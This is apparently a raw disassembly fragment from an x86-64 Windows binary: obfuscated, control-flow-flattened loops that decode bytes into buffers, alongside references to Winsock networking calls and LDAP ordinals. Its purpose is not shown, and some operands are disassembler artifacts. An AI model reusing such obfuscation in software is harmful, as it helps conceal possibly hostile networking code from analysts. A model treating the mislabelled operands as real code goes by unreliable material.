movabs rdx, 0x508efc8d73200290
mov ecx, 8
jmp 0x1400e6a1d
movabs rdx, 0x7829572194100288
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400e686b
movabs rcx, 0x9fc3b1b5b5000280
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
add r8, r9
jmp 0x1400e6952
movabs rcx, 0xc75e0c49d5f00278
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
jmp 0x1400e6952
movabs rdx, 0xeef866ddf6e00270
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x10
jmp 0x1400e6a5e
movabs rdx, 0x1692c17217d00268
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e6a8b
movabs rdx, 0x3e2d1c0638c00260
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x1e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e5ef4
movabs rcx, 0xa12efe788b18024c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x14
mov byte [rbp + rbx + 0x1e0], r10b
inc rbx
jmp 0x1400e5ef4
movabs rdx, 0xc8c9590cac080244
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x400
jb 0x1400e631b
movabs rcx, 0x1c3ff47d70300198
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
movzx edx, r11b
sub dl, al
add dl, cl
lea r10d, [rdx*2 - 0x50]
jmp 0x1400e69b1
movabs rdx, 0x4103b58be4f001f8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x1e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e5ef4
movabs rdx, 0x689e102005e001f0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e6a8b
movabs rdx, 0x90386ab426d001e8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
jmp 0x1400e6a5e
movabs rcx, 0xb7d2c54847c001e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
jmp 0x1400e6952
movabs rdx, 0xdf6d1fdc68b001d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400e6952
movabs rdx, 0x7077a7089a001d0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400e686b
movabs rcx, 0x2ea1d504aa9001c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
dec rbx
inc rbx
jmp 0x1400e5ef4
movabs rcx, 0x563c2f98cb8001c0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x1400e5ef4
movabs rdx, 0x7dd68a2cec7001b8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
jmp 0x1400e69ae
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400e6598
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1400e6899
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400e66a9
movabs rdx, 0x481c355a136800f4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 0x40
jae 0x1400e684b
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400e6772
movabs rdx, 0xa8477e46b9900148
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
jmp 0x1400e6343
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e65db
movabs rdx, 0xc05691d94c5000a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x1e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e5ef4
inc rax
cmp r8, rax
jne 0x1400e6608
movabs rdx, 0x7121dcb10a7000b8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
jmp 0x1400e6a5e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e6639
movabs rcx, 0x21ed2788c89000c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
add r8, r9
jmp 0x1400e6952
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e6651
movabs rdx, 0xfa52ccf4a7a000d0
jmp 0x1400e6465
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e666e
movabs rdx, 0xd2b8726086b000d8
mov ecx, ntohl
jmp 0x1400e6a1d
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e6523
movabs rcx, 0xab1e17cc65c000e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x1400e5ef4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e66d8
movabs rdx, 0x2081dac5f27800fc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e69ae
inc rax
cmp r8, rax
jne 0x1400e670b
movabs rcx, 0xd14d259db098010c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x54
dec rbx
inc rbx
jmp 0x1400e5ef4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e6740
movabs rdx, 0x821870756eb8011c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400e6952
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e6564
movabs rdx, 0x32e3bb4d2cd8012c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
jmp 0x1400e6a5e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e67b1
movabs rcx, 0x80ad23b298a00150
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
movzx eax, byte [rbp + rbx + 0x1e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e5ef4
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e67ce
movabs rdx, 0x31786e8a56c00160
mov ecx, Ordinal_50
jmp 0x1400e6a4c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e67ff
movabs rcx, 0xe243b96214e00170
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
add r8, r9
jmp 0x1400e6952
cmp r8, rcx
jne 0x1400e6818
movabs rdx, 0x6b74a9a5b2100188
mov ecx, 0x24
jmp 0x1400e69eb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e634f
movabs rdx, 0x43da4f1191200190
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e69ae
movabs rdx, 0xf4a599e94f4001a0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, r11b
add r10b, dl
lea ecx, [rbx - 0x5c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x7c
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x1e0], r11b
add r8, r9
jmp 0x1400e6952
movabs rdx, 0xcd0b3f552e5001a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400e6a5e
movabs rcx, 0xfbbe19b77db8009c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x44
movzx eax, byte [rbp + rbx + 0x1e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e5ef4
movabs rdx, 0x2358744b9ea80094
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xc
add r10b, dl
jmp 0x1400e6a8b
movabs rdx, 0x4af2cedfbf98008c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1400e6a4c
movabs rdx, 0x728d2973e0880084
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400e5ef4
movabs rdx, 0x3890ee588538005c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e69ae
movabs rdx, 0x87c5a380c718004c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
add r10b, dl
lea ecx, [rbx - 0x64]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x44
add r11b, cl
mov byte [rbp + rbx + 0x1e0], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400e5ef4
movabs rdx, 0xaf5ffe14e8080044
mov ecx, reloc.WS2_32.dll_select
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400e5ef4
movabs rdx, 0xd6fa58a908f8003c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400e5ef4
movabs rdx, 0x7563c2f98cb8001c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea edx, [rbx - 0x54]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x1e0], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x1e0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x1e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e5ef4
movabs rcx, 0xc4987821ce98000c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x54
movzx eax, byte [rbp + rbx + 0x1e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e5ef4
movabs rdx, 0xb667788571a80214
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e5ef0
movabs rcx, 0xde01d3199298020c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x54
jmp 0x1400e5ee0
lea rcx, [rbp + 0x1600490]
jmp 0x1400e6b6c
lea rcx, [rbp + 0x1280494]
jmp 0x1400e6b6c
lea rcx, [rbp + 0x1e0]
call fcn.140048e00
mov byte [rbp + 0x150], 0x85
mov byte [rbp + 0x151], 0xb2
mov byte [rbp + 0x152], 0xa4
mov byte [rbp + 0x153], 0x9b
mov byte [rbp + 0x154], __WSAFDIsSet
mov byte [rbp + 0x155], 0x9b
mov byte [rbp + 0x156], __WSAFDIsSet
mov byte [rbp + 0x157], Ordinal_211
mov byte [rbp + 0x158], 0xaa
mov byte [rbp + 0x159], 0x9b
mov byte [rbp + 0x15a], __WSAFDIsSet
mov byte [rbp + 0x15b], WSAGetLastError
mov byte [rbp + 0x15c], 0x99
mov byte [rbp + 0x15d], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x15e], 0xe0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x15f], xmm0
mov byte [rbp + 0x16f], al
movabs rdi, 0xa32e75032644faa1
movabs rsi, 0xa5d1fa51cc8b9f7f
movabs r15, 0x9a0e671887eae75d
movabs r14, 0x71b52c20bcb5d0c5
movabs r12, 0x3d985deface0020b
movabs r13, 0xe556d9e82252064e
movzx r10d, byte [rbp + 0x3d0]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor eax, eax
mov ebx, eax
cmp rbx, 0x20
jae 0x1400e79d9
movzx r11d, byte [rbp + rbx + 0x150]
cmp r8, rbx
ja 0x1400e79d0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e6c83
lea rcx, [rbx + r15]
mov rax, r11
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, r11
add r10, rcx
add r10b, 0x75
jmp 0x1400e6cc0
je 0x1400e7949
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e78b9
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e7880
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e7838
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e77ea
nop dword [rax]
cmp r9, rbx
ja 0x1400e79c7
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400e6cf1
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x67
add r10b, dl
jmp 0x1400e6d30
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e77c8
inc rax
cmp r8, rax
je 0x1400e779d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e7778
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e7750
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400e738a
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400e7364
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400e7332
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400e7303
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400e72dd
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400e72b5
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e7290
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400e726b
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400e7243
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e720d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e6d40
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400e79a3
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400e797f
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400e6f2f
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400e6f10
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400e6ef1
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400e71aa
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400e714a
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400e70f7
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400e70c7
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400e6d40
lea r8, [r9 + 4]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400e708d
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400e7064
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400e703e
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400e7015
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400e6fe9
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400e6fc3
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400e6f98
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400e6f73
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400e6f4e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400e6d40
lea r8, [r9 + 4]
lea r9, [r8 + 2]
jmp 0x1400e6d40
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x79
add r10b, dl
jmp 0x1400e6d30
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x63
add r10b, dl
jmp 0x1400e6cc0
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4d
add r10b, dl
jmp 0x1400e6c57
movabs rdx, 0x1973a8193227d508
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x38
jmp 0x1400e780a
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x22
inc r9
dec rbx
inc rbx
jmp 0x1400e6c44
movabs rcx, 0xb13a0bb7127c3794
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xc
dec rbx
inc rbx
jmp 0x1400e6c44
movabs rdx, 0x7d1d3d8602a668da
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e7858
movabs rdx, 0x49006f54f2d09a20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400e78a0
movabs rdx, 0x14e3a123e2facb66
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e78a0
movabs rdx, 0xe0c6d2f2d324fcac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e78d9
movabs rdx, 0xacaa04c1c34f2df2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e7905
movabs rdx, 0x788d3690b3795f38
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x150]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e6c44
movabs rcx, 0x764533160be2da67
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2f
mov byte [rbp + rbx + 0x150], r10b
inc rbx
jmp 0x1400e6c44
movabs rdx, 0x422864e4fc0d0bad
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x45
add r10b, dl
cmp r9, 0x42
jb 0x1400e70e7
movabs rcx, 0x61bd13c627982f0e
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
add dl, dl
add dl, r11b
add dl, cl
lea r10d, [rdx + rdx]
jmp 0x1400e780d
movabs rdx, 0xe0b96b3ec373cf3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5b
add r10b, dl
cmp r8, 0x41
jae 0x1400e7705
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400e75ce
movabs rdx, 0x589d05db893e1bca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e7117
movabs rdx, 0xd9eec882dc616e39
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x71
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400e772d
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x1400e74e2
movabs rdx, 0xb56e90d862f92129
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1f
jmp 0x1400e716a
movabs rcx, 0xd316be12e59ddfc6
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6a
movzx eax, byte [rbp + rbx + 0x150]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e6c44
movabs rdx, 0x9ef9efe1d5c8110c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
add r10b, dl
jmp 0x1400e7905
movabs rdx, 0x6add21b0c5f24252
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3e
jmp 0x1400e78d9
movabs rcx, 0x36c0537fb61c7398
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x28
jmp 0x1400e78a0
movabs rcx, 0x2a3854ea646a4de
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x12
add r8, r9
jmp 0x1400e78a0
movabs rdx, 0xce86b71d9670d624
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e7858
movabs rdx, 0x9a69e8ec869b076a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400e6c44
movabs rdx, 0x664d1abb76c538b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400e6c44
movabs rdx, 0x32304c8a66ef69f6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e780a
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400e73af
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x75
jmp 0x1400e71ca
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e73f2
movabs rdx, 0x465cea064c89f542
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x150]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e6c44
inc rax
cmp r8, rax
jne 0x1400e7420
movabs rdx, 0xae9686686c3592b6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e78d9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e744e
movabs rcx, 0xe2b354997c0b6170
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
jmp 0x1400e78a0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e747c
movabs rdx, 0x4aecf0fb9bb6fee4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3c
jmp 0x1400e7858
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e74b0
movabs rcx, 0x7f09bf2cab8ccd9e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x52
dec rbx
inc rbx
jmp 0x1400e6c44
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e71cd
movabs rdx, 0xe7435b8ecb386b12
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7e
jmp 0x1400e780a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e7510
movabs rdx, 0xe98b5f0972ceefe3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x35
jmp 0x1400e780a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e7544
movabs rcx, 0x51c4fb6b927a8d57
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x61
dec rbx
inc rbx
jmp 0x1400e6c44
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e7572
movabs rdx, 0x85e1c99ca2505c11
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x77
jmp 0x1400e7858
cmp r8, rcx
jne 0x1400e759c
movabs rcx, 0xee1b65fec1fbf985
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x5d
jmp 0x1400e78a0
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e716d
movabs rdx, 0x2238342fd1d1c83f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x47
jmp 0x1400e78d9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e7611
movabs rdx, 0x8cb9d40c9913ea84
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x150]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e6c44
inc rax
cmp r8, rax
jne 0x1400e763f
movabs rdx, 0xf4f3706eb8bf87f8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e78d9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e7671
movabs rdx, 0x29103e9fc89556b2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e78a0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e769f
movabs rdx, 0x9149db01e840f426
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xa
jmp 0x1400e7858
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e76d3
movabs rcx, 0xc566a932f816c2e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x1400e6c44
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e711a
movabs rdx, 0x2da0459517c26054
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4c
jmp 0x1400e780a
movabs rdx, 0x95d9e1f7376dfdc8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
add r10b, r11b
jmp 0x1400e7858
